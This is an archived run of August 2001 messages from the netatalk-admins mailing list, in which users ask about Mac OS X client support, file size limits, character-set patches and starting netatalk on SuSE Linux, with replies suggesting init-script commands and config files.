Received: by WBBUREXCN02 with Internet Mail Service (5.5.2650.21) id
 <QM636T20>; Wed, 8 Aug 2001 13:14:11 -0700
Received: from twismtpca2.twi.com (TWISMTPCA2 [168.161.48.6]) by
 wbburexcn02.warnerbros.com with SMTP (Microsoft Exchange Internet Mail
 Service Version 5.5.2650.21) id QM636T27; Wed, 8 Aug 2001 13:14:06
 -0700
Received: from 168.161.163.9 by twismtpca2.twi.com with SMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Wed, 08 Aug 2001 13:08:12
 -0700
Received: (from slist@localhost) by terminator.rsug.itd.umich.edu (
 8.9.3/3.0+) id QAA23631; Wed, 8 Aug 2001 16:12:45 -0400 (EDT)
Message-ID: <uNMLC.A.fuF.mvZc7@terminator.rsug.itd.umich.edu>
From: "Chris Garrigues" <cwg-dated-38ec93e7d946bf32@deepeddy.com>
To: netatalk-admins@umich.edu
Subject: timeline
Date: Wed, 8 Aug 2001 13:06:58 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 176D989D80148-01-01
Content-Type: multipart/alternative; 
 boundary="----_=_NextPart_001_01C12046.ACAE7B00"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C12046.ACAE7B00
Content-Type: text/plain; 
 charset=iso-8859-1
Content-Transfer-Encoding: 7bit

Is there any guestimate when a 1.5pre7 or whatever it'll be called will be
out 
that supports MacOS X clients?

It seems like it was early June that I heard mention of it being fixed 
in CVS.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



------_=_NextPart_001_01C12046.ACAE7B00
Content-Type: text/html; 
 charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>timeline</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Is there any guestimate when a 1.5pre7 or whatever =
it'll be called will be out </FONT>
<BR><FONT SIZE=3D2>that supports MacOS X clients?</FONT>
</P>

<P><FONT SIZE=3D2>It seems like it was early June that I heard mention =
of it being fixed </FONT>
<BR><FONT SIZE=3D2>in CVS.</FONT>
</P>

<P><FONT SIZE=3D2>Chris</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Chris =
Garrigues&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A =
HREF=3D"http://www.DeepEddy.Com/~cwg/" =
TARGET=3D"_blank">http://www.DeepEddy.Com/~cwg/</A></FONT>
<BR><FONT =
SIZE=3D2>virCIO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; <A HREF=3D"http://www.virCIO.Com" =
TARGET=3D"_blank">http://www.virCIO.Com</A></FONT>
<BR><FONT SIZE=3D2>4314 Avenue =
C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>Austin, TX&nbsp; 78751-3709&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +1 512 374 0500</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; My email address is an experiment in SPAM =
elimination.&nbsp; For an</FONT>
<BR><FONT SIZE=3D2>&nbsp; explanation of what we're doing, see <A =
HREF=3D"http://www.DeepEddy.Com/tms.html" =
TARGET=3D"_blank">http://www.DeepEddy.Com/tms.html</A> </FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; Nobody ever got fired for buying =
Microsoft,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; but they could get =
fired for relying on Microsoft.</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C12046.ACAE7B00--


From netatalk.administrators-errors@umich.edu  Fri Aug 10 03:01:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA14480
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 10 Aug 2001 03:01:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA10565
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 10 Aug 2001 03:01:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA10548
	for netatalk.administrators-members@umich.edu; Fri, 10 Aug 2001 03:01:15 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA09962
	for <netatalk-admins@umich.edu>; Fri, 10 Aug 2001 03:00:58 -0400 (EDT)
Received: from faxserver ([63.34.210.85]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010810070055.PDEY3151.mta02.mail.mel.aone.net.au@faxserver>
          for <netatalk-admins@umich.edu>; Fri, 10 Aug 2001 17:00:55 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15Uzrj-0000i7-00
	for <netatalk-admins@umich.edu>; Fri, 10 Aug 2001 10:09:27 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 10 Aug 2001 10:08:24 +1000
Subject: Re: [Netatalk-devel] dropped connections
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Simon Bazley <sibaz@sibaz.com>
In-Reply-To: <3B72BFB0.91C73EE1@sibaz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Resent-To: Simon Bazley <sibaz@sibaz.com>
Resent-From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
Resent-Date: Fri, 10 Aug 2001 10:08:47 +1000
Resent-Message-ID: <B7996318.243A%editor.ac@churchesofchrist.org.au>
Message-Id: <20010810070055.PDEY3151.mta02.mail.mel.aone.net.au@faxserver>



<snip> 
> That all done you could use samba to upload your
> massive files (dont forget you can also go file-open rather than
> clicking on an file, to open it in an application other than the one it
> was created by).
> 

If you edit your AppleVolumes.system file, you can specify what mapping of
file extensions takes place for files uploaded without a resource fork, both
for file type and creator information.

Further note:

The afpd manual page comments that this file is used in generating a list of
volumes to offer to the user. I've always thought that was the role of
AppleVolumes.default.

Is this an error in the documentation?

Nigel.


From netatalk.administrators-errors@umich.edu  Fri Aug 10 12:24:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11925
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 10 Aug 2001 12:24:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA05740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 10 Aug 2001 12:24:20 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05728
	for netatalk.administrators-members@umich.edu; Fri, 10 Aug 2001 12:24:19 -0400 (EDT)
Received: from borysns (borys.lanservice.com.pl [157.25.161.184] (may be forged))
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA05679
	for <netatalk-admins@umich.edu>; Fri, 10 Aug 2001 12:24:17 -0400 (EDT)
Received: (qmail 5558 invoked from network); 10 Aug 2001 16:30:12 -0000
Received: from unknown (HELO borysns.borys.lanservice.com.pl) (127.0.0.1)
  by localhost with SMTP; 10 Aug 2001 16:30:12 -0000
From: Sebastian <sebastian@lanservice.com.pl>
To: netatalk-admins@umich.edu
Subject: hello
Date: Fri, 10 Aug 2001 18:29:34 +0200
X-Mailer: KMail [version 1.0.29]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01081018301201.05232@borysns.borys.lanservice.com.pl>
Content-Transfer-Encoding: 8bit

> I'm find patch for netatalk 1.5 pre5
> /etc/atalk/uams/maccode.iso8859-2
> beacose I'm not a polish character set
> RedHat 6.2
> please send me e-mail

sebastian

From netatalk.administrators-errors@umich.edu  Sat Aug 11 16:36:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA01790
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 11 Aug 2001 16:36:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA28997
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 11 Aug 2001 16:36:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA28969
	for netatalk.administrators-members@umich.edu; Sat, 11 Aug 2001 16:36:33 -0400 (EDT)
Received: from hotmail.com (law2-oe21.hotmail.com [216.32.180.125])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA28931
	for <netatalk-admins@umich.edu>; Sat, 11 Aug 2001 16:36:32 -0400 (EDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 11 Aug 2001 13:36:32 -0700
X-Originating-IP: [24.254.55.19]
Reply-To: "Tim Gross" <twg4461@hotmail.com>
From: "Tim Gross" <twg4461@hotmail.com>
To: <netatalk-admins@umich.edu>
References: <01081018301201.05232@borysns.borys.lanservice.com.pl>
Subject: remove
Date: Sat, 11 Aug 2001 13:42:02 -0700
MIME-Version: 1.0
Content-Type: text/plain;	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Message-ID: <LAW2-OE21J8QiIWMzRs00000962@hotmail.com>
X-OriginalArrivalTime: 11 Aug 2001 20:36:32.0000 (UTC) FILETIME=[4E330800:01C122A5]



From netatalk.administrators-errors@umich.edu  Sun Aug 12 14:00:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA07897
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 14:00:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA26929
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 14:00:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA26909
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 14:00:20 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA26855
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 14:00:18 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id UAA30182
	for netatalk-admins@umich.edu; Sun, 12 Aug 2001 20:00:17 +0200
Date: Sun, 12 Aug 2001 20:00:17 +0200
From: Frank Joerdens <frank@joerdens.de>
To: netatalk-admins@umich.edu
Subject: Filesize limit
Message-ID: <20010812200017.A30112@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
X-Subliminal-Message: Use Linux! Use Linux!

Is there a filesize limit built into netatalk? I am wondering cuz I am
trying to build a fileserver that supports files > 2GB. Initially I
thought it was a filesystem problem cuz some versions of Linux in
combination with certain kernels and glibc versions and filesystems
(e.g. Reiser <= 3.5) don't support files > 2GB. However, I am using SuSE
7.0 with kernel 2.2.16 and ext2 which _does_ allow files > 2 GB (just
created a tar archive with 10). Trying to copy a file > 2 GB from a Mac,
however results in an error (-40 I think it was).

This was using the version

netatalk-1.4b2+asun2.1.3-130

Does anyone have the latest and greatest news on this issue?

Ta, Frank

From netatalk.administrators-errors@umich.edu  Sun Aug 12 14:54:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10579
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 14:54:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA08939
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 14:54:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA08926
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 14:54:38 -0400 (EDT)
Received: from mail08.voicenet.com (mail08.voicenet.com [207.103.0.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA08913
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 14:54:37 -0400 (EDT)
Received: (qmail 8476 invoked from network); 12 Aug 2001 18:54:51 -0000
Received: from lata228-du10-12-pri.lata228-du10.voicenet.com (HELO ?209.71.51.140?) (209.71.51.140)
  by mail08.voicenet.com with SMTP; 12 Aug 2001 18:54:51 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 12 Aug 2001 14:55:41 -0400
Subject: Netatalk on SuSE Linux 7.2 going nowhere
From: "D. L. Fuller" <dlfuller@voicenet.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B79C496D.1D15%dlfuller@voicenet.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA10579

I'm a newbie using SuSE Linux 7.2.  All I want is to use Netatalk to
exchange files with my Mac.  Maybe more later, but keep Appletalk simple for
now.

I quickly got the Ethernet setup and was browsing the web with the easy SuSE
configuration.  The next step was 1.4 & 1.5 Netatalk.  Compile, install,
etc.  I screwed things up and had to re-install Linux in its entirety a
couple of times.

Okay then it was  1.5pre6-1mdk.1586.rpm.  It certainly was a lot easier in
the rpm format.  The installed files seemed to end up where they should
according to the package's default locations.  But "atalk start" commands
still end-up with "Command not found".

I'm just looking for the simplest Appletalk setup to start with.  What am I
missing?

I¹ve ³read the manual² but most of the documentation is over-whelming with
options for a newbie.  Then there are the differences between docs in
instructions and file locations that don¹t help.

Before installing Netatalk and re-installing Linux I swear that that "dmesg
| grep Apple" showed "Appletalk 0.18a for Linux NET4.0".  Now there's
nothing and that¹s another element that is confusing.

I¹d sure appreciate some guidance.

--Don Fuller

dlfuller@voicenet.com


From netatalk.administrators-errors@umich.edu  Sun Aug 12 15:23:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12021
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 15:23:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA17416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 15:23:09 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17408
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 15:23:09 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA17374
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 15:23:07 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA30444;
	Sun, 12 Aug 2001 21:23:05 +0200
Date: Sun, 12 Aug 2001 21:23:05 +0200
From: Frank Joerdens <frank@joerdens.de>
To: "D. L. Fuller" <dlfuller@voicenet.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
Message-ID: <20010812212304.B30366@rakete.joerdens.de>
References: <B79C496D.1D15%dlfuller@voicenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <B79C496D.1D15%dlfuller@voicenet.com>; from dlfuller@voicenet.com on Sun, Aug 12, 2001 at 02:55:41PM -0400
X-Subliminal-Message: Use Linux! Use Linux!

On Sun, Aug 12, 2001 at 02:55:41PM -0400, D. L. Fuller wrote:
[ . . . ]
> I'm just looking for the simplest Appletalk setup to start with.  What am I
> missing?

If you're using SuSE, how about using Yast to select the netatalk
package from the n package section and then saying 

/sbin/init.d/atalk start

The volumes/folders/directories you want to see from the Mac are configured in

/etc/atalk/AppleVolumes.default

(if you are after the simplest possible solution, why bother compiling
the package from scratch?)

Hope it helps,
Frank

From netatalk.administrators-errors@umich.edu  Sun Aug 12 15:33:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12258
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 15:33:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA15034
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 15:33:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA15024
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 15:33:06 -0400 (EDT)
Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.121.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA15012
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 15:33:05 -0400 (EDT)
Received: from storage (1Cust115.tnt1.lancaster.pa.da.uu.net [63.17.97.115])
	by harrier.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id MAA22234;
	Sun, 12 Aug 2001 12:33:17 -0700 (PDT)
From: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
To: "D. L. Fuller" <dlfuller@voicenet.com>, <netatalk-admins@umich.edu>
Subject: RE: Netatalk on SuSE Linux 7.2 going nowhere
Date: Sun, 12 Aug 2001 15:37:29 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDIENFCFAA.ed_schwartz@iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <B79C496D.1D15%dlfuller@voicenet.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/etc/rc.d/init.d/atalk start

is probably what you are looking for.

As for the Appletalk support, it may be in a module, so hopefully it
will auto-load when needed.  If not, you will need to compile it in.

Anyway, try the command and report back any errors.

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

- -----Original Message-----
From: D. L. Fuller [mailto:dlfuller@voicenet.com]
Sent: Sunday, August 12, 2001 2:56 PM
To: netatalk-admins@umich.edu
Subject: Netatalk on SuSE Linux 7.2 going nowhere


I'm a newbie using SuSE Linux 7.2.  All I want is to use Netatalk to
exchange files with my Mac.  Maybe more later, but keep Appletalk
simple for
now.

I quickly got the Ethernet setup and was browsing the web with the
easy SuSE
configuration.  The next step was 1.4 & 1.5 Netatalk.  Compile,
install,
etc.  I screwed things up and had to re-install Linux in its entirety
a
couple of times.

Okay then it was  1.5pre6-1mdk.1586.rpm.  It certainly was a lot
easier in
the rpm format.  The installed files seemed to end up where they
should
according to the package's default locations.  But "atalk start"
commands
still end-up with "Command not found".

I'm just looking for the simplest Appletalk setup to start with.
What am I
missing?

I¹ve ³read the manual² but most of the documentation is over-whelming
with
options for a newbie.  Then there are the differences between docs in
instructions and file locations that don¹t help.

Before installing Netatalk and re-installing Linux I swear that that
"dmesg
| grep Apple" showed "Appletalk 0.18a for Linux NET4.0".  Now there's
nothing and that¹s another element that is confusing.

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO3ba+C6XaAWWzd7UEQJfhgCbBms5R4DLEzDbUgvb000LYyaGIooAn37E
ry7saj481/JTo78FHOC5awfs
=QtSy
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Sun Aug 12 17:25:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA15695
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 17:25:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA04012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 17:25:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA04003
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 17:25:50 -0400 (EDT)
Received: from mail08.voicenet.com (mail08.voicenet.com [207.103.0.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA03985
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 17:25:49 -0400 (EDT)
Received: (qmail 24153 invoked from network); 12 Aug 2001 21:25:47 -0000
Received: from dialup0254-pri.dialup2.voicenet.com (HELO ?207.103.93.121?) (207.103.93.121)
  by mail08.voicenet.com with SMTP; 12 Aug 2001 21:25:47 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 12 Aug 2001 17:26:38 -0400
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
From: "D. L. Fuller" <dlfuller@voicenet.com>
To: Frank Joerdens <frank@joerdens.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B79C6C5C.1D1B%dlfuller@voicenet.com>
In-Reply-To: <20010812212304.B30366@rakete.joerdens.de>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA15695

Frank Joerdens--

Thanks for the quick response.  Any suggestion or just a different
perspective helps.

I have been using YaST2 for configuration and did not see Netatalk anywhere
in either its Network configuration or Software installation modules.   No
³n package section² you mentioned.

I only got into compiling by following setup instructions.  Believe me, I
sure didn¹t want to.

After the installation...

I do have /etc/init.d/init.d/atalk (yes the init.d is a subdirectory of the
other init.d).

In /etc/atalk/ there are several configuration files including
AppleVolumes.default

I do not have a /sbin/init.d/ directory only a /sbin/init.d.readme.  It is
dated 11/15/2000 and in the first sentence indicates ³The scripts for
controlling the system are placed in /etc/init.d/ (they have been moved
accordingly to the Linux Standard Base (LSB) specification.)².

Is that relocation one of the reasons for the differences I¹ve seen in
locations mentioned in Netatalk documentation?

Thanks again for the guidance.

--Don

dlfuller@voicenet.com


on 8/12/01 3:23 PM, Frank Joerdens at frank@joerdens.de wrote:

> On Sun, Aug 12, 2001 at 02:55:41PM -0400, D. L. Fuller wrote:
> [ . . . ]
>> I'm just looking for the simplest Appletalk setup to start with.  What am I
>> missing?
> 
> If you're using SuSE, how about using Yast to select the netatalk
> package from the n package section and then saying
> 
> /sbin/init.d/atalk start
> 
> The volumes/folders/directories you want to see from the Mac are configured in
> 
> /etc/atalk/AppleVolumes.default
> 
> (if you are after the simplest possible solution, why bother compiling
> the package from scratch?)
> 
> Hope it helps,
> Frank
> 


From netatalk.administrators-errors@umich.edu  Sun Aug 12 17:52:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA16367
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 17:52:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA17152
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 17:52:30 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17135
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 17:52:29 -0400 (EDT)
Received: from mail08.voicenet.com (mail08.voicenet.com [207.103.0.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA17110
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 17:52:28 -0400 (EDT)
Received: (qmail 26975 invoked from network); 12 Aug 2001 21:52:27 -0000
Received: from dialup12x06-pri.dialup12x.voicenet.com (HELO ?209.71.52.198?) (209.71.52.198)
  by mail08.voicenet.com with SMTP; 12 Aug 2001 21:52:27 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 12 Aug 2001 17:52:47 -0400
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
From: "D. L. Fuller" <dlfuller@voicenet.com>
To: Ed Schwartz <ed_schwartz@iu13.k12.pa.us>
CC: <netatalk-admins@umich.edu>
Message-ID: <B79C72EF.1D20%dlfuller@voicenet.com>
In-Reply-To: <HJECKHPOHDPHPABMJFFDIENFCFAA.ed_schwartz@iu13.k12.pa.us>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA16367

Ed Schwartz--

Thanks for the suggestion.

The command /etc/rc.d/init.d/atalk start returns...

/etc/rc.d/init.d/functions: No such files or directory

But there is a 3.7KB file at that location.

--Don


on 8/12/01 3:37 PM, Ed Schwartz at ed_schwartz@iu13.k12.pa.us wrote:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> /etc/rc.d/init.d/atalk start
> 
> is probably what you are looking for.
> 
> As for the Appletalk support, it may be in a module, so hopefully it
> will auto-load when needed.  If not, you will need to compile it in.
> 
> Anyway, try the command and report back any errors.
> 
> - -------------------------------------------------------------
> |   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
> |     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
> | "We Trills have an expression--at forty, you think you    |
> | know everything.  At four hundred, you realize you know   |
> |         nothing." - Dax, Star Trek Deep Space 9           |
> - -------------------------------------------------------------
> 
> - -----Original Message-----
> From: D. L. Fuller [mailto:dlfuller@voicenet.com]
> Sent: Sunday, August 12, 2001 2:56 PM
> To: netatalk-admins@umich.edu
> Subject: Netatalk on SuSE Linux 7.2 going nowhere
> 
> 
> I'm a newbie using SuSE Linux 7.2.  All I want is to use Netatalk to
> exchange files with my Mac.  Maybe more later, but keep Appletalk
> simple for
> now.
> 
